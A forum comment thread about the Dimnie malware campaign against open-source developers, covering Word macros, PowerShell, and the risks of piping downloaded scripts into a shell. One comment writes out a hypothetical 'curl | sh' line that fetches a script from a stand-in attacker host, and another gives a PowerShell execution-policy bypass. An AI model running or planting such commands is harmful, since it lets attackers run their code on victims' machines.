News for hackers. Stuff that matters.
Re:Dimnie: Malware targeting open-source developers by jszymborski on Friday March 31, 2017 @09:47PM (#14009917)
Open-source developers are understandably high value targets, but I'd imagine they're harder to hit with this kind of attack.

If I was some evil-doer though I'd develop some marketing heavy Javascript/Rust/language-of-the-week framework, hit HN frontpage and have the call-to-action copy be:

> Install in picoseconds!

> curl -sf http://evil.example/evil_install.sh | sh

edit: corrected hypothetical attack

Re:Dimnie: Malware targeting open-source developers by detaro on Saturday April 01, 2017 @03:00AM (#14010935)
should at least have https, that makes it much more secure or something
Re:Dimnie: Malware targeting open-source developers by tyingq on Friday March 31, 2017 @09:58PM (#14009947)
pedantic, but that wouldn't actually do much ;)
Re:Dimnie: Malware targeting open-source developers by jszymborski on Friday March 31, 2017 @10:06PM (#14009975)
lool oops, thanks. Fixed it up :)
Re:Dimnie: Malware targeting open-source developers by Animats on Saturday April 01, 2017 @03:59AM (#14011087)
... starts with e-mails that attach a booby-trapped Microsoft Word document. The file contains a malicious macro that uses PowerShell commands.

It's good to know that the traditional vulnerabilities of Microsoft Word documents have been updated to use the new PowerShell.

Re:Dimnie: Malware targeting open-source developers by pjmlp on Saturday April 01, 2017 @09:57AM (#14012136)
Except that Powershell doesn't run scripts unless you explicitly disable it as Administrator.
Re:Dimnie: Malware targeting open-source developers by SCHiM on Saturday April 01, 2017 @11:07AM (#14012471)
This is not a security feature, and should not be relied upon. For example, unelevated users can run the following command: 'PS> Set-ExecutionPolicy Bypass -Scope Process' to allow script execution in the current powershell process.

Also, you can pass complete powershell scripts over the command line which bypasses the script restriction (because you can just input your entire script over the command line).

This is done with the -E (-EncodedCommand) flag. Which takes a base64 encoded string with statements separated by semi-colons.

Re:Dimnie: Malware targeting open-source developers by pjmlp on Saturday April 01, 2017 @04:24PM (#14013991)
As occasional Powershell user I wasn't aware of it, thanks for the heads up.
Re:Dimnie: Malware targeting open-source developers by TTPrograms on Saturday April 01, 2017 @02:55AM (#14010922)
Wait, you can still get viruses from opening word documents? What is this, 1998?

Good to know that Microsoft is focusing on the important things.[0]

[0] https://en.wikipedia.org/wiki/Tay_(bot)

Re:Dimnie: Malware targeting open-source developers by miohtama on Friday March 31, 2017 @02:08PM (#14006382)
Not sure if Windows PowerShell scripts are the best way to target open source developers, as these power users are usually on Linux/OSX
Re:Dimnie: Malware targeting open-source developers by justinclift on Friday March 31, 2017 @02:42PM (#14006758)
That's true, but it's not unreasonable to foresee the creators making OSX/Linux versions too if these Windows ones "go ok" from their point of view. :(

What's worrying to me is the wording of the emails themselves. It's much better, and more likely appearing "legit" than the vast multitude of scam/trojan/similar .pdf/.xls/.doc/.lnk/etc emails I've seen. (several a day generally)

Re:Dimnie: Malware targeting open-source developers by pjmlp on Saturday April 01, 2017 @02:10AM (#14010791)
With the now current curl | sh pattern, one just needs some MTM attack, or even just trick someone to do it, as the majority never look to the contents of the shell script.
Re:Dimnie: Malware targeting open-source developers by nthcolumn on Saturday April 01, 2017 @10:29AM (#14012264)
Which is why it could only be done in a vm. VM breakout is still a risk but at the end of the day it's only ever about mitigation not panacea. A startling number of people use this method too what with the plethora of package managers available. The evildoer's best friend laziness - just keeping going longer than someone on average would reasonably expect you to, i.e. not very.
Re:Dimnie: Malware targeting open-source developers by jjirsa on Saturday April 01, 2017 @02:17AM (#14010803)
It's been demonstrated in the past that server can detect the pipe to shell and modify content - timing attack, if I recall correctly
Re:Dimnie: Malware targeting open-source developers by samsonradu on Saturday April 01, 2017 @09:05AM (#14011910)
How does it work? Any sources?
Re:Dimnie: Malware targeting open-source developers by drdaeman on Saturday April 01, 2017 @11:17AM (#14012519)
Re:Dimnie: Malware targeting open-source developers by samsonradu on Sunday April 02, 2017 @04:31AM (#14016421)
Thanks, that's very interesting.
Re:Dimnie: Malware targeting open-source developers by tomjen3 on Saturday April 01, 2017 @05:47AM (#14011391)
Or serve a different script based on browser headers.

Out just develop a really useful node script that then gets a little extra.

Re:Dimnie: Malware targeting open-source developers by tonyedgecombe on Saturday April 01, 2017 @06:26AM (#14011462)
I've been worrying about this for some time, I regularly get customers sending screenshots inside Word documents, a well targeted email could easily get past my defences.
Re:Dimnie: Malware targeting open-source developers by pjmlp on Saturday April 01, 2017 @02:09AM (#14010782)
Also by default the security level doesn't allow for its execution, but I imagine most change it to run everything instead of only signed scripts.
Re:Dimnie: Malware targeting open-source developers by davidgerard on Saturday April 01, 2017 @06:21AM (#14011454)
The takeaway appears to be: don't develop on a Windows box.

What happens if you open the claimed Word doc in LibreOffice?

Re:Dimnie: Malware targeting open-source developers by kingosticks on Friday March 31, 2017 @03:20PM (#14007216)
What's the purpose of all those localhost ping lines in the delete script?
Re:Dimnie: Malware targeting open-source developers by h4waii on Friday March 31, 2017 @09:39PM (#14009881)
The author likely is used to Windows scripting before sleep was a thing.

The pings are used as a delay, without pausing the entire process or thread.

Re:Dimnie: Malware targeting open-source developers by Godel_unicode on Saturday April 01, 2017 @02:09AM (#14010777)
More likely the author knows that sleep is a common thing for malware scanners to look for, and choose a sneakier method to achieve the same goal.
Re:Dimnie: Malware targeting open-source developers by matt4077 on Friday March 31, 2017 @10:05PM (#14009969)
I wonder if they'll accept pull requests?
Re:Dimnie: Malware targeting open-source developers by nthcolumn on Saturday April 01, 2017 @10:39AM (#14012321)
Old hackers never die they just dust off their anna kournikova floppies...
Re:Dimnie: Malware targeting open-source developers by codedokode on Saturday April 01, 2017 @07:30AM (#14011619)
They could just put malware into one of popular node.js modules. Nobody would notice because Linux/Mac users don't use antivirus.
Re:Dimnie: Malware targeting open-source developers by giancarlostoro on Saturday April 01, 2017 @08:11AM (#14011754)
Someone might notice a random blob or just during code review. Someone has to approve a pull request.
Re:Dimnie: Malware targeting open-source developers by auspex on Saturday April 01, 2017 @09:18AM (#14011958)
This is why most companies have a build step in their CI/CD pipeline that scans for CVE/malware in their app's dependencies (jar, npm packages, Ruby gems etc)
Re:Dimnie: Malware targeting open-source developers by srd on Saturday April 01, 2017 @09:41AM (#14012055)
While the concept sounds sound, so far I've never actually seen this setup in the real world. Do you happen to have any resources on how to properly setup such a step in a CI tool?
Re:Dimnie: Malware targeting open-source developers by auspex on Saturday April 01, 2017 @10:05AM (#14012158)
Check out software like Twistlock, Sonatype and I think Tennable has a scanner as well that integrates into the pipeline. If your are not using Sonatype to build you can find good support for this in Jenkins or Team City via a plugin (Full disclosure, I work in this area)
Re:Dimnie: Malware targeting open-source developers by dang on Friday March 31, 2017 @01:42PM (#14006154)
Url changed from https://arstechnica.co.uk/security/2017/03/someone-is-puttin..., which points to this. There was a small discussion at https://news.ycombinator.com/item?id=13992005 but perhaps changing the url to the original article will stimulate a more substantive one.

Submitters: please submit original sources, as the site guidelines ask (https://news.ycombinator.com/newsguidelines.html). Myriads of blog posts and articles mostly just point to something else; be a good HN submitter and do the pointer traversal for the rest of us.

Re:Dimnie: Malware targeting open-source developers by skrebbel on Saturday April 01, 2017 @01:57AM (#14010731)
In all honesty, Ars does a real value-add in this case. I'm an open source developer on Windows so this feels relevant, but the original article forces me to read through a very long, highly technical article full of HTTP logs and hex dumps just to find out how this could impact me. About halfway through I gave up and then I was happy I found your comment with the Ars link.
Re:Dimnie: Malware targeting open-source developers by dang on Saturday April 01, 2017 @02:09AM (#14010780)
That's a good point. I've changed the URL back from http://researchcenter.paloaltonetworks.com/2017/03/unit42-di....
Re:Dimnie: Malware targeting open-source developers by justinclift on Friday March 31, 2017 @01:56PM (#14006276)
Oops, sorry. Thanks. :)

I submitted the Ars one instead of the original source, as the Ars one is much more approachable than the original source, and I didn't see the previous submission. Which is weird, as I searched first. Bad me. :/

That being said, the PAN post definitely has the better detail once a person grok's what it's about. :)

Re:Dimnie: Malware targeting open-source developers by dang on Saturday April 01, 2017 @02:12AM (#14010797)
Actually you and skrebbel make a good point about the other article being more approachable. That has value too, so I've reversed the URL change.